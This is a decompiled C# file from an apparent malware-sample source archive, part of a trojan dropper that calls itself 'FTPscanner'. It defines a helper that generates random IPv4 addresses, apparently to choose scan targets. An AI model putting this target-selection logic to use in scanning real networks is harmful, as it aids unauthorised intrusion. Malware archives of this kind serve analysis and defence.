MalwareSourceCode/MSIL/Trojan-Dropper/Win32/S/Trojan-Dropper.Win32.Sysn.axrz-65a382451dd46ba81b5db9e85a6a586162c5d430c853bf4f688f48a71af44313/Rng.cs

20 lines
767 B
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: FTPscanner.Rng
// Assembly: FTPscanner, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 8469568A-499F-4FFB-88BB-33DD24B78A55
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.Win32.Sysn.axrz-65a382451dd46ba81b5db9e85a6a586162c5d430c853bf4f688f48a71af44313.exe
using System;
namespace FTPscanner
{
internal class Rng
{
public static Random _rng = new Random();
public static int Next(int min, int max) => Rng._rng.Next(min, max);
public static string GenerateIp() => Rng.Next(50, 220).ToString() + "." + (object) Rng.Next(10, 100) + "." + (object) Rng.Next(1, (int) byte.MaxValue) + "." + (object) Rng.Next(1, (int) byte.MaxValue);
}
}